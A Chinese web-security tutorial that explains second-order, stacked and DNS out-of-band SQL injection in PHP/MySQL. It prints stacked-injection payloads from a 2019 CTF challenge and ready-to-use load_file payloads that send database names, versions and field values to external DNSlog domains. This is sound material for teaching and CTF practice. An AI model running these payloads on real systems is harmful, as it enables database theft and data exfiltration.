当前位置: 首页 > news >正文

Day45:WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

目录

PHP-MYSQL-二次注入-DEMO&74CMS

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

2019强网杯-随便注(CTF题型)

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)


知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件

2、PHP-MYSQL-SQL注入-堆叠注入&利用条件

3、PHP-MYSQL-SQL注入-带外注入&利用条件

以下漏洞在实战中是很难碰到的

PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多
白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来)
 

1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

堆叠注入触发的条件很苛刻:因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行

在数据库中这样执行是没有问题的,但是如果在实战中,都是通过网站插入注入语句,那么这个时候就得看这个网站当前的脚本支不支持多语句查询,也就是有没有使用mysqli_multi_query函数(该函数支持多SQL语句查询)

产生条件:支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤
  2. 目标数据库类型支不支持多SQL语句执行


 

2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)

注入条件:

  1. root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数)
  2. windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义

有部分注入点是没有回显的,所以读取也是没回显的,就得采用带外注入

使用平台:http://ceye.io

ping test.dbuh8a.ceye.io //test是随便改的,后面是固定的

ping %USERNAME%.dbuh8a.ceye.io //%USERNAME%获取本地计算机用户名的

带外应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等

数据库里执行:
select load_file(concat(‘\\’,(select database()),‘.7logee.dnslog.cn\aa’)); //aa随便输入的

SQL注入:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) //abc随便输入的

// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""//查询版本号
id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

limit 0,1 查询第一个表名

limit 1,1 查询第二个表名

limit 2,1 查询第三个表名

相关文章:

Day45:WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

目录 PHP-MYSQL-二次注入-DEMO&74CMS DEMO-用户注册登录修改密码 CMS-74CMS个人中心简历功能 PHP-MYSQL-堆叠注入-DEMO&CTF强网 Demo 2019强网杯-随便注(CTF题型) PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去) 知识点&…...

web安全之:三种常见的Web安全威胁

Web安全是确保Web应用和用户数据安全的一系列措施和实践。了解和防御常见的安全威胁是每个Web开发人员的基本职责。下面,我们将详细讨论三种常见的Web安全威胁:SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)…...

C#,图论与图算法,用于检查给定图是否为欧拉图(Eulerian Graph)的算法与源程序

1 欧拉图 欧拉图是指通过图(无向图或有向图)中所有边且每边仅通过一次通路, 相应的回路称为欧拉回路。具有欧拉回路的图称为欧拉图(Euler Graph), 具有欧拉通路而无欧拉回路的图称为半欧拉图。 对欧拉图的一个现代扩展是蜘蛛图,它向欧拉图增加了可以连接的存在点。 这给…...

Dubbo框架的介绍

什么是dubbo Dubbo是一个高性能的、轻量级的开源RPC(远程过程调用)框架,由阿里巴巴公司开发并开源。它提供了基于Java的远程服务调用和管理的解决方案,可以帮助开发者快速构建分布式应用和服务。 Dubbo具有以下特点: …...

手机实时监控电脑屏幕(手机可以看到电脑在干什么吗)

已经2024年了,假如你还在问我,手机可以看到电脑在干什么吗,有没有手机实时监控电脑屏幕的系统。 那么证明,你可能已经out 了。 现代科技告诉发展的态势下,这种技术已经很成熟了。 域智盾软件就可以实现这种效果↓我们…...

合成孔径雷达干涉测量InSAR数据处理、地形三维重建、形变信息提取、监测

原文链接:合成孔径雷达干涉测量InSAR数据处理、地形三维重建、形变信息提取、监测https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247598798&idx7&snc054ed7c9d9c433d00837a7798080935&chksmfa820329cdf58a3f6b5986d6d4da3d19f81e3efd0b159f…...

云原生(五)、Docker-Swarm集群

基础环境说明 1、环境准备 1、启动4台服务器(在同一个网段内)。 2、重命名4台服务器,方便区分。 hostnamectl set-hostname swarm1 reboot安装docker。参考文章:云原生(二)、Docker基础 2、DockerSwarm…...

arm核的DMPIS是如何计算的

直接看这篇:https://zhuanlan.zhihu.com/p/660155292 写的很好: "SA8155P的CPU算力计算如下(按照A75性能提升50%来计算,即 5.2 * 1.5 7.8 DMIPS/MHz ) SA8155P算力 2.419GHz * 1核 * 7.8 DMIPS/MHz 2.131GH…...

Axure RP 9 for Mac中文激活版:原型设计工具

Axure RP 9 for Mac是一款值得设计师信赖的原型设计工具。它以其卓越的性能和稳定的运行赢得了广大用户的赞誉。 软件下载:Axure RP 9 for Mac中文激活版下载 在Axure RP 9中,您可以尽情发挥自己的设计才华,创造出独一无二的原型作品。无论是…...

Hive 数据迁移与备份

迁移类型 同时迁移表及其数据(使用import和export) 迁移步骤 将表和数据从 Hive 导出到 HDFS将表和数据从 HDFS 导出到本地服务器将表和数据从本地服务器复制到目标服务器将表和数据从目标服务器上传到目标 HDFS将表和数据从目标 HDFS 上传到目标 Hiv…...

FFMpeg 获取音频音量、提高音量

查看音量 准备原生音频original.mp3 查看original.mp3的音量信息: ffmpeg -i original.mp3 -filter_complex volumedetect -c:v copy -f null /dev/null输出: Input #0, mp3, from original.mp3:Metadata:artist : Administratorencoder …...

【java数据结构】基于java提供的ArrayList实现的扑克牌游戏-(附源码~)

【Java数据结构】基于java泛型实现的二维数组完成三人扑克游戏 基本框架的实现创建一副牌如何进行洗牌:每个人抓的牌放到哪里: 源码具体实现cardcardsTest 个人简介:努力学编程 每日鸡汤:stay foolish,stay hungry-史蒂芬.乔布斯斯…...

R语言:microeco:一个用于微生物群落生态学数据挖掘的R包,第八:trans_func class

# 生态学研究人员通常对微生物群落的功能特征感兴趣,因为功能或代谢数据对于解释微生物群落的结构和动态以及推断其潜在机制是强有力的。 # 由于宏基因组测序复杂且昂贵,利用扩增子测序数据预测功能谱是一个很好的选择。 # 有几个软件经常用于此目标&…...

王道c语言-二叉树前序、中序、后序、层次遍历

main.cpp #include "function.h"//abdhiejcfg 前序遍历深度优先遍历 abdhiejcfg void PreOrder(BiTree p) {if (p ! NULL) {printf("%c ", p->c);//等价于putchar(p->c);等价于visit函数伪代码PreOrder(p->lchild);PreOrder(p->rchild);} }//…...

<REAL-TIME TRAFFIC OBJECT DETCTION FOR AUTONOMOUS DRIVING>论文阅读

Abstract 随着计算机视觉的最新进展,自动驾驶迟早成为现代社会的一部分,然而,仍有大量的问题需要解决。尽管现代计算机视觉技术展现了优越的性能,他们倾向于将精度优先于效率,这是实时应用的一个重要方面。大型目标检测…...

优化 - 排序算法

一、概念 冒泡排序从左往右比较相邻的两个元素,右比左小就换位,这样最大值就出现在了右边最后一个元素上,再从左边第一个元素开始往右比较到倒数第二个元素,如此重复...选择排序 通过线性查找(从左往右挨个查找&#…...

Python实战:深拷贝与浅拷贝

1. 引言 在Python中,对象是通过对内存中的数据进行引用来实现的。当我们创建一个对象并将其赋值给另一个变量时,实际上是将这个对象的引用复制给了另一个变量。这意味着,如果原始对象发生改变,引用该对象的变量也会受到影响。为了…...

rollup打包起手式

使用Rollup打包JavaScript rollup是一款小巧的javascript模块打包工具,更适合于库应用的构建工具;可以将小块代码编译成大块复杂的代码,基于ES6 modules,它可以让你的 bundle 最小化,有效减少文件请求大小,vue在开发的时候用的是webpack,但是…...

【笔记】语言实例比较 3. 无重复字符的最长子串 C++ Rust Java Python

语言实例比较 3. 无重复字符的最长子串 C Rust Java Python C C: 9ms O ( N 2 ) O(N^2) O(N2), 8.68MB mem O ( 1 ) O(1) O(1) 滑动窗口循环 class Solution { public:int lengthOfLongestSubstring(const string s) {//s[start,end) 前面包含 后面不包含int res(0);for (…...

int的大小你知道时4个字节,那么类的大小你知道怎么计算吗?

文章目录 1、如何计算类对象的大小2、类对象的存储方式猜测3、结构体内存对齐规则1、如何计算类对象的大小 class A { public: void PrintA() { cout<<_a<<endl; } private: char _a; };问题: 类中既可以有成员变量,又可以有成员函数,那么一个类的对象中包含了…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘

美国西海岸的夏天&#xff0c;再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至&#xff0c;这不仅是开发者的盛宴&#xff0c;更是全球数亿苹果用户翘首以盼的科技春晚。今年&#xff0c;苹果依旧为我们带来了全家桶式的系统更新&#xff0c;包括 iOS 26、iPadOS 26…...

Spring Boot 实现流式响应(兼容 2.7.x)

在实际开发中&#xff0c;我们可能会遇到一些流式数据处理的场景&#xff0c;比如接收来自上游接口的 Server-Sent Events&#xff08;SSE&#xff09; 或 流式 JSON 内容&#xff0c;并将其原样中转给前端页面或客户端。这种情况下&#xff0c;传统的 RestTemplate 缓存机制会…...

大模型多显卡多服务器并行计算方法与实践指南

一、分布式训练概述 大规模语言模型的训练通常需要分布式计算技术,以解决单机资源不足的问题。分布式训练主要分为两种模式: 数据并行:将数据分片到不同设备,每个设备拥有完整的模型副本 模型并行:将模型分割到不同设备,每个设备处理部分模型计算 现代大模型训练通常结合…...

Vue 模板语句的数据来源

&#x1f9e9; Vue 模板语句的数据来源&#xff1a;全方位解析 Vue 模板&#xff08;<template> 部分&#xff09;中的表达式、指令绑定&#xff08;如 v-bind, v-on&#xff09;和插值&#xff08;{{ }}&#xff09;都在一个特定的作用域内求值。这个作用域由当前 组件…...

VisualXML全新升级 | 新增数据库编辑功能

VisualXML是一个功能强大的网络总线设计工具&#xff0c;专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑&#xff08;如DBC、LDF、ARXML、HEX等&#xff09;&#xff0c;并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...

​​企业大模型服务合规指南:深度解析备案与登记制度​​

伴随AI技术的爆炸式发展&#xff0c;尤其是大模型&#xff08;LLM&#xff09;在各行各业的深度应用和整合&#xff0c;企业利用AI技术提升效率、创新服务的步伐不断加快。无论是像DeepSeek这样的前沿技术提供者&#xff0c;还是积极拥抱AI转型的传统企业&#xff0c;在面向公众…...

[USACO23FEB] Bakery S

题目描述 Bessie 开了一家面包店! 在她的面包店里&#xff0c;Bessie 有一个烤箱&#xff0c;可以在 t C t_C tC​ 的时间内生产一块饼干或在 t M t_M tM​ 单位时间内生产一块松糕。 ( 1 ≤ t C , t M ≤ 10 9 ) (1 \le t_C,t_M \le 10^9) (1≤tC​,tM​≤109)。由于空间…...

Netty自定义协议解析

目录 自定义协议设计 实现消息解码器 实现消息编码器 自定义消息对象 配置ChannelPipeline Netty提供了强大的编解码器抽象基类,这些基类能够帮助开发者快速实现自定义协议的解析。 自定义协议设计 在实现自定义协议解析之前,需要明确协议的具体格式。例如,一个简单的…...

数据挖掘是什么?数据挖掘技术有哪些?

目录 一、数据挖掘是什么 二、常见的数据挖掘技术 1. 关联规则挖掘 2. 分类算法 3. 聚类分析 4. 回归分析 三、数据挖掘的应用领域 1. 商业领域 2. 医疗领域 3. 金融领域 4. 其他领域 四、数据挖掘面临的挑战和未来趋势 1. 面临的挑战 2. 未来趋势 五、总结 数据…...